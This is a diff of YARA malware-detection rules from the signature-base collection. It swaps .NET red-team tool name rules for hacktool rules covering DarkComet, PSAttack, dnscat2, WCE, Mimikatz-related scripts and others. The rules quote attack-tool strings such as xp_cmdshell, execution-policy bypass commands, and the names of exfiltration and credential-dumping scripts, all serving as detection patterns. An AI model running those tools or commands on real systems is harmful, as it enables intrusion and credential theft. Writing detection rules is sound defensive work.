-		$s4 = "[-] Password Does Not Expire Accounts:" wide
-		$s5 = "  * runAs:       {0}" wide fullword
+		$s1 = "LScanPort.EXE" fullword wide
+		$s3 = "www.honker8.com" fullword wide
+		$s4 = "DefaultPort.lst" fullword ascii
+		$s5 = "Scan over.Used %dms!" fullword ascii
+		$s6 = "www.hf110.com" fullword wide
+		$s15 = "LScanPort Microsoft " fullword wide
+		$s18 = "L-ScanPort2.0 CooFly" fullword wide
 
 	condition:
-		uint16(0)==0x5a4d and filesize <300KB and (1 of ($x*) or 3 of them )
+		4 of them
 }
-rule SIGNATURE_BASE_HKTL_NET_NAME_Maliciousclickoncegenerator : FILE
+import "pe"
+
+rule SIGNATURE_BASE_CN_Toolset_Sig_1433_135_Sqlr
 {
 	meta:
-		description = "Detects .NET red/black-team tools via name"
-		author = "Arnim Rupp"
-		id = "683af3b4-4c91-5ff3-96bf-d5c1d9c19cc2"
-		date = "2021-01-22"
+		description = "Detects a Chinese hacktool from a disclosed toolset - file sqlr.exe"
+		author = "Florian Roth (Nextron Systems)"
+		id = "74038975-ef06-53d6-bdcc-02706408b596"
+		date = "2015-03-30"
 		modified = "2023-12-05"
-		reference = "https://github.com/Mr-Un1k0d3r/MaliciousClickOnceGenerator"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_names.yar#L77-L90"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "91e5878d49ad9af5420d4e29afaa600337fb8051951598a997cd74d72c884206"
-		score = 75
+		reference = "http://qiannao.com/ls/905300366/33834c0c/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L3030-L3047"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "8542c7fb8291b02db54d2dc58cd608e612bfdc57"
+		logic_hash = "14c9d104cfb71a2d3545bfb6274e3a282d4597f38057187d76adaf26fe2718fa"
+		score = 70
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$name = "MaliciousClickOnceGenerator" ascii wide
-		$compile = "AssemblyTitle" ascii wide
+		$s0 = "Connect to %s MSSQL server success. Type Command at Prompt." fullword ascii
+		$s11 = ";DATABASE=master" fullword ascii
+		$s12 = "xp_cmdshell '" fullword ascii
+		$s14 = "SELECT * FROM OPENROWSET('SQLOLEDB','Trusted_Connection=Yes;Data Source=myserver" ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and all of them
+		all of them
 }
-rule SIGNATURE_BASE_HKTL_NET_NAME_Directinjectorpoc : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Darkcomet_Keylogger_File : FILE
 {
 	meta:
-		description = "Detects .NET red/black-team tools via name"
-		author = "Arnim Rupp"
-		id = "d9a430d7-b062-554b-aff4-cfd98d91e9fe"
-		date = "2021-01-22"
+		description = "Looks like a keylogger file created by DarkComet Malware"
+		author = "Florian Roth (Nextron Systems)"
+		id = "65058450-3ae3-5b85-bcc5-8bc1fab14614"
+		date = "2014-07-25"
 		modified = "2023-12-05"
-		reference = "https://github.com/badBounty/directInjectorPOC"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_names.yar#L92-L105"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "ffdc5694668af6c82b493403373d2e2e915e45bca8d58ec1ab41c5a8bd28d781"
-		score = 75
-		quality = 85
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L3049-L3063"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "28f2eb8f5082559f9de4e72243f4bf8a0be21a9a4c5e16c443d036733584ea97"
+		score = 50
+		quality = 35
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$name = "directInjectorPOC" ascii wide
-		$compile = "AssemblyTitle" ascii wide
+		$entry = /\n:: [A-Z]/
+		$timestamp = /\([0-9]?[0-9]:[0-9][0-9]:[0-9][0-9] [AP]M\)/
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and all of them
+		uint16(0)==0x3A3A and #entry>10 and #timestamp>10
 }
-rule SIGNATURE_BASE_HKTL_NET_NAME_Asstrongasfuck : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Vssown_VBS
 {
 	meta:
-		description = "Detects .NET red/black-team tools via name"
-		author = "Arnim Rupp"
-		id = "4c63c8a2-5889-5177-9f66-8e5f755025a3"
-		date = "2021-01-22"
+		description = "Detects VSSown.vbs script - used to export shadow copy elements like NTDS to take away and crack elsewhere"
+		author = "Florian Roth (Nextron Systems)"
+		id = "ffbb5faf-3522-50dc-a568-503074ac0636"
+		date = "2015-10-01"
 		modified = "2023-12-05"
-		reference = "https://github.com/Charterino/AsStrongAsFuck"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_names.yar#L107-L120"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "4765f2099bf8fa8ebccd8cdcc561354f4aeba28c2473fd8556f1ef1d5d28dadd"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L3065-L3082"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "f49e9d7a07d591330e16fc539bd98d019b47dd8579d0f1ad92fa987790e64189"
 		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$name = "AsStrongAsFuck" ascii wide
-		$compile = "AssemblyTitle" ascii wide
+		$s0 = "Select * from Win32_Service Where Name ='VSS'" ascii
+		$s1 = "Select * From Win32_ShadowCopy" ascii
+		$s2 = "cmd /C mklink /D " ascii
+		$s3 = "ClientAccessible" ascii
+		$s4 = "WScript.Shell" ascii
+		$s5 = "Win32_Process" ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and all of them
+		all of them
 }
-rule SIGNATURE_BASE_HKTL_NET_NAME_Magentoscanner : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Netview_Hacktool : FILE
 {
 	meta:
-		description = "Detects .NET red/black-team tools via name"
-		author = "Arnim Rupp"
-		id = "db3912bd-574c-57e2-a9b6-4b440d144471"
-		date = "2021-01-22"
+		description = "Network domain enumeration tool - often used by attackers - file Nv.exe"
+		author = "Florian Roth (Nextron Systems)"
+		id = "087e2fd7-726e-5c6b-ba99-e20dd3337d6a"
+		date = "2016-03-07"
 		modified = "2023-12-05"
-		reference = "https://github.com/soufianetahiri/MagentoScanner"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_names.yar#L122-L135"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "245dce3be07c8e84dfcd2cdb2d9f24406a9b11b437e74969f1472a6ee149fd9c"
-		score = 75
+		reference = "https://github.com/mubix/netview"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L3084-L3107"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "52cec98839c3b7d9608c865cfebc904b4feae0bada058c2e8cdbd561cfa1420a"
+		logic_hash = "dc27d2358937d736823891c9d5c3f41f83a6f4e72d35fae0983435effda2141a"
+		score = 60
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$name = "MagentoScanner" ascii wide
-		$compile = "AssemblyTitle" ascii wide
+		$s1 = "[+] %ws - Target user found - %s\\%s" fullword wide
+		$s2 = "[*] -g used without group specified - using \"Domain Admins\"" fullword ascii
+		$s3 = "[*] -i used without interval specified - ignoring" fullword ascii
+		$s4 = "[+] %ws - Session - %s from %s - Active: %d - Idle: %d" fullword wide
+		$s5 = "[+] %ws - Backup Domain Controller" fullword wide
+		$s6 = "[-] %ls - Share - Error: %ld" fullword wide
+		$s7 = "[-] %ls - Session - Error: %ld" fullword wide
+		$s8 = "[+] %s - OS Version - %d.%d" fullword ascii
+		$s9 = "Enumerating Logged-on Users" fullword ascii
+		$s10 = ": Specifies a domain to pull a list of hosts from" fullword ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and all of them
+		( uint16(0)==0x5a4d and filesize <500KB and 2 of them ) or 3 of them
 }
-rule SIGNATURE_BASE_HKTL_NET_NAME_Revengerat_Stub_Cssharp : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Netview_Hacktool_Output
 {
 	meta:
-		description = "Detects .NET red/black-team tools via name"
-		author = "Arnim Rupp"
-		id = "06dce4f9-4d7a-5976-a87a-07c539e5dbe8"
-		date = "2021-01-22"
+		description = "Network domain enumeration tool output - often used by attackers - file filename.txt"
+		author = "Florian Roth (Nextron Systems)"
+		id = "259db870-6293-5a55-b56a-f981c060c18f"
+		date = "2016-03-07"
 		modified = "2023-12-05"
-		reference = "https://github.com/NYAN-x-CAT/RevengeRAT-Stub-CSsharp"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_names.yar#L137-L150"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "a3bd1f8e52e6ed468b6a4fea83456ca813b69e2d676dfab687bbea5a746fed3c"
-		score = 75
+		reference = "https://github.com/mubix/netview"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L3109-L3124"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "38a51e583b1485bdb29400cb9d0a73ec4d5387675779f949572d2b4d74da4230"
+		score = 60
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$name = "RevengeRAT-Stub-CSsharp" ascii wide
-		$compile = "AssemblyTitle" ascii wide
+		$s1 = "[*] Using interval:" fullword
+		$s2 = "[*] Using jitter:" fullword
+		$s3 = "[+] Number of hosts:" fullword
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and all of them
+		2 of them
 }
-rule SIGNATURE_BASE_HKTL_NET_NAME_Sharpyshell : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Psattack_EXE : FILE
 {
 	meta:
-		description = "Detects .NET red/black-team tools via name"
-		author = "Arnim Rupp"
-		id = "3069c5eb-446e-5bfa-9df0-2e03f229d4d1"
-		date = "2021-01-22"
-		modified = "2023-12-05"
-		reference = "https://github.com/antonioCoco/SharPyShell"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_names.yar#L152-L165"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "89d0010c08349f8982c7f5aa5f7855702556ce10f9f3b5b18b61349c5233e001"
-		score = 75
-		quality = 85
+		description = "PSAttack - Powershell attack tool - file PSAttack.exe"
+		author = "Florian Roth (Nextron Systems)"
+		id = "87f7956a-f607-5e14-a940-5080499cf682"
+		date = "2016-03-09"
+		modified = "2023-01-06"
+		reference = "https://github.com/gdssecurity/PSAttack/releases/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L3135-L3155"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "ad05d75640c850ee7eeee26422ba4f157be10a4e2d6dc6eaa19497d64cf23715"
+		logic_hash = "b73566eb6370fbe68f0477d1179e5d6c19fb9be2c29f63d560c42adcdf19fe58"
+		score = 100
+		quality = 60
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$name = "SharPyShell" ascii wide
-		$compile = "AssemblyTitle" ascii wide
+		$x1 = "\\Release\\PSAttack.pdb"
+		$s1 = "set-executionpolicy bypass -Scope process -Force" fullword wide
+		$s2 = "PSAttack.Modules." ascii
+		$s3 = "PSAttack.PSAttackProcessing" fullword ascii
+		$s4 = "PSAttack.Modules.key.txt" fullword wide
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and all of them
+		( uint16(0)==0x5a4d and ($x1 or 2 of ($s*))) or 3 of them
 }
-rule SIGNATURE_BASE_HKTL_NET_NAME_Ghostloader : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Powershell_Attack_Scripts
 {
 	meta:
-		description = "Detects .NET red/black-team tools via name"
-		author = "Arnim Rupp"
-		id = "d8d88f3f-f250-55ff-88a6-4623e12ef89d"
-		date = "2021-01-22"
+		description = "Powershell Attack Scripts"
+		author = "Florian Roth (Nextron Systems)"
+		id = "e8c4a672-229b-56c8-811b-071ae9ff341e"
+		date = "2016-03-09"
 		modified = "2023-12-05"
-		reference = "https://github.com/TheWover/GhostLoader"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_names.yar#L167-L180"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "91527b4b35f2bb1aeee236647c5169c67f2b9cfb867f2b6d486bd8d8b7455d4b"
-		score = 75
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L3157-L3172"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "42a52de089ee00e229499fea23b8acd0b7c881a9c578671aea180c0c018a54e0"
+		score = 70
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$name = "GhostLoader" ascii wide
-		$compile = "AssemblyTitle" ascii wide
+		$s1 = "PowershellMafia\\Invoke-Shellcode.ps1" ascii
+		$s2 = "Nishang\\Do-Exfiltration.ps1" ascii
+		$s3 = "PowershellMafia\\Invoke-Mimikatz.ps1" ascii
+		$s4 = "Inveigh\\Inveigh.ps1" ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and all of them
+		1 of them
 }
-rule SIGNATURE_BASE_HKTL_NET_NAME_Dotnetinject : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Psattack_ZIP : FILE
 {
 	meta:
-		description = "Detects .NET red/black-team tools via name"
-		author = "Arnim Rupp"
-		id = "468f89c4-5b94-53be-b9e6-ad21de7d98ba"
-		date = "2021-01-22"
-		modified = "2022-06-28"
-		reference = "https://github.com/dtrizna/DotNetInject"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_names.yar#L182-L202"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "07ba4ba23372dbc2618dcea89ef643cd68371ace1116bfeb939b0f9adfc425bb"
-		score = 75
+		description = "PSAttack - Powershell attack tool - file PSAttack.zip"
+		author = "Florian Roth (Nextron Systems)"
+		id = "4e064eb4-0b87-590c-9ee4-6764b982c006"
+		date = "2016-03-09"
+		modified = "2023-12-05"
+		reference = "https://github.com/gdssecurity/PSAttack/releases/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L3174-L3188"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "3864f0d44f90404be0c571ceb6f95bbea6c527bbfb2ec4a2b4f7d92e982e15a2"
+		logic_hash = "4c869e8663b8c87780d4be622f86b3887511e1ac3cfc67767f1c986af7d43767"
+		score = 100
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$name = "DotNetInject" ascii wide
-		$compile = "AssemblyTitle" ascii wide
-		$fp1 = "GetDotNetInjector" ascii
-		$fp2 = "JetBrains.TeamCity.Injector." wide
+		$s0 = "PSAttack.exe" fullword ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and filesize <20MB and $name and $compile and not 1 of ($fp*)
+		uint16(0)==0x4b50 and all of them
 }
-rule SIGNATURE_BASE_HKTL_NET_NAME_Atpminidump : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Linux_Portscan_Shark_1 : FILE
 {
 	meta:
-		description = "Detects .NET red/black-team tools via name"
-		author = "Arnim Rupp"
-		id = "97981569-fe94-5600-8319-946edb4265e7"
-		date = "2021-01-22"
+		description = "Detects Linux Port Scanner Shark"
+		author = "Florian Roth (Nextron Systems)"
+		id = "0b264106-3536-56f4-9e8c-68f3756af07d"
+		date = "2016-04-01"
 		modified = "2023-12-05"
-		reference = "https://github.com/b4rtik/ATPMiniDump"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_names.yar#L204-L217"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "7498ed5d11b9c3646ebd2d1330a239c43e9c5b270b1778871c2821a2fefb5137"
+		reference = "Virustotal Research - see https://github.com/Neo23x0/Loki/issues/35"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L3199-L3216"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "e807ed6c83c8d908bfe29c65abd7b877b65655cc64cd1497fc124a2fd88cd1e9"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		super_rule = 1
+		hash1 = "4da0e535c36c0c52eaa66a5df6e070c52e7ddba13816efc3da5691ea2ec06c18"
+		hash2 = "e395ca5f932419a4e6c598cae46f17b56eb7541929cdfb67ef347d9ec814dea3"
 
 	strings:
-		$name = "ATPMiniDump" ascii wide
-		$compile = "AssemblyTitle" ascii wide
+		$s0 = "rm -rf scan.log session.txt" fullword ascii
+		$s17 = "*** buffer overflow detected ***: %s terminated" fullword ascii
+		$s18 = "*** stack smashing detected ***: %s terminated" fullword ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and all of them
+		( uint16(0)==0x7362 and all of them )
 }
-rule SIGNATURE_BASE_SUSP_NET_NAME_Confuserex : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Linux_Portscan_Shark_2
 {
 	meta:
-		description = "Detects ConfuserEx packed file"
-		author = "Arnim Rupp"
-		id = "f1bda14e-c9fe-5341-8962-691a66233eb0"
-		date = "2021-01-22"
-		modified = "2021-01-25"
-		reference = "https://github.com/yck1509/ConfuserEx"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_names.yar#L219-L234"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "beecb7b66830a033e2048da246d320c1ffc5015b280b34fb61aee87c8a42fff3"
-		score = 40
+		description = "Detects Linux Port Scanner Shark"
+		author = "Florian Roth (Nextron Systems)"
+		id = "eea378d5-0399-5035-8573-139878fa1abc"
+		date = "2016-04-01"
+		modified = "2023-12-05"
+		reference = "Virustotal Research - see https://github.com/Neo23x0/Loki/issues/35"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L3218-L3235"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "45efbbe01c45065efc07e9c75b6a7cdcae469861f84df4a1e1381fe864f7ddc0"
+		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		super_rule = 1
+		hash1 = "5f80bd2db608a47e26290f3385eeb5bfc939d63ba643f06c4156704614def986"
+		hash2 = "90af44cbb1c8a637feda1889d301d82fff7a93b0c1a09534909458a64d8d8558"
 
 	strings:
-		$name = "ConfuserEx" ascii wide
-		$compile = "AssemblyTitle" ascii wide
+		$s1 = "usage: %s <fisier ipuri> <fisier useri:parole> <connect timeout> <fail2ban wait> <threads> <outfile> <port>" fullword ascii
+		$s2 = "Difference between server modulus and host modulus is only %d. It's illegal and may not work" fullword ascii
+		$s3 = "rm -rf scan.log" fullword ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and all of them
+		all of them
 }
-rule SIGNATURE_BASE_HKTL_NET_NAME_Sharpbuster : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Dnscat2_Hacktool : FILE
 {
 	meta:
-		description = "Detects .NET red/black-team tools via name"
-		author = "Arnim Rupp"
-		id = "d30c8ee5-88b9-53b5-b209-51f6f3b988cf"
-		date = "2021-01-22"
+		description = "Detects dnscat2 - from files dnscat, dnscat2.exe"
+		author = "Florian Roth (Nextron Systems)"
+		id = "23cca0fe-3e4e-5b91-8b53-933de8ff264a"
+		date = "2016-05-15"
 		modified = "2023-12-05"
-		reference = "https://github.com/passthehashbrowns/SharpBuster"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_names.yar#L236-L249"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "cdc19e03f75f34e6349937c0bff313298fc9310f361eec7af022c450d083ad96"
+		reference = "https://downloads.skullsecurity.org/dnscat2/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L3244-L3263"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "c163a62b607323e08ca083a7091585550c830827728a8a60e25af8db6550ed1c"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		super_rule = 1
+		hash1 = "8bc8d6c735937c9c040cbbdcfc15f17720a7ecef202a19a7bf43e9e1c66fe66a"
+		hash2 = "4a882f013419695c8c0ac41d8a0fde1cf48172a89e342c504138bc6f1d13c7c8"
 
 	strings:
-		$name = "SharpBuster" ascii wide
-		$compile = "AssemblyTitle" ascii wide
+		$s1 = "--exec -e <process>     Execute the given process and link it to the stream." fullword ascii
+		$s2 = "Sawlog" fullword ascii
+		$s3 = "COMMAND_EXEC [request] :: request_id: 0x%04x :: name: %s :: command: %s" fullword ascii
+		$s4 = "COMMAND_SHELL [request] :: request_id: 0x%04x :: name: %s" fullword ascii
+		$s5 = "[Tunnel %d] connection to %s:%d closed by the server!" fullword ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and all of them
+		(( uint16(0)==0x457f or uint16(0)==0x5a4d) and filesize <400KB and (2 of ($s*))) or ( all of them )
 }
-rule SIGNATURE_BASE_HKTL_NET_NAME_Amsibypass : FILE
+import "pe"
+
+rule SIGNATURE_BASE_WCE_In_Memory
 {
 	meta:
-		description = "Detects .NET red/black-team tools via name"
-		author = "Arnim Rupp"
-		id = "26db14d8-1034-5bd1-a719-4756c832901d"
-		date = "2021-01-22"
+		description = "Detects Windows Credential Editor (WCE) in memory (and also on disk)"
+		author = "Florian Roth (Nextron Systems)"
+		id = "90c90ca5-e3be-5035-b35c-c2e7faec43a5"
+		date = "2016-08-28"
 		modified = "2023-12-05"
-		reference = "https://github.com/0xB455/AmsiBypass"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_names.yar#L251-L265"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "8fa4ba512b34a898c4564a8eac254b6a786d195b"
-		logic_hash = "e445c541a723ab05072ed38d6143d0a99c7db0ba6889b87fad147dc9a01be9d7"
-		score = 75
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L3265-L3279"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "74ab7772db5b1de8a4eae03370e2be3cd35004730f84d472677688109a1d6d88"
+		score = 80
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$name = "AmsiBypass" ascii wide
-		$compile = "AssemblyTitle" ascii wide
+		$s1 = "wkKUSvflehHr::o:t:s:c:i:d:a:g:" fullword ascii
+		$s2 = "wceaux.dll" fullword ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and all of them
+		all of them
 }
-rule SIGNATURE_BASE_HKTL_NET_NAME_Recon_AD : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Pstgdump : FILE
 {
 	meta:
-		description = "Detects .NET red/black-team tools via name"
-		author = "Arnim Rupp"
-		id = "097de5cd-0cd4-59cc-a7b7-54cad8e6d230"
-		date = "2021-01-22"
+		description = "Detects a tool used by APT groups - file pstgdump.exe"
+		author = "Florian Roth (Nextron Systems)"
+		id = "86a105a3-b5b5-58b2-99bd-ec05f31adb6b"
+		date = "2016-09-08"
 		modified = "2023-12-05"
-		reference = "https://github.com/outflanknl/Recon-AD"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_names.yar#L267-L280"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "7bfafb2d3e85bb584bd02cb92457d22b07626f71d071c44a4aefbb5748045446"
+		reference = "http://goo.gl/igxLyF"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L3281-L3299"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "0c4f8697b1b65007acc4fdabd1c6263a428448232f95dbb12d8f737297893157"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "65d48a2f868ff5757c10ed796e03621961954c523c71eac1c5e044862893a106"
 
 	strings:
-		$name = "Recon-AD" ascii wide
-		$compile = "AssemblyTitle" ascii wide
+		$x1 = "\\Release\\pstgdump.pdb" ascii
+		$x2 = "Failed to dump all protected storage items - see previous messages for details" fullword ascii
+		$x3 = "ptsgdump [-h][-q][-u Username][-p Password]" fullword ascii
+		$x4 = "Attempting to impersonate domain user '%s' in domain '%s'" fullword ascii
+		$x5 = "Failed to impersonate user (ImpersonateLoggedOnUser failed): error %d" fullword ascii
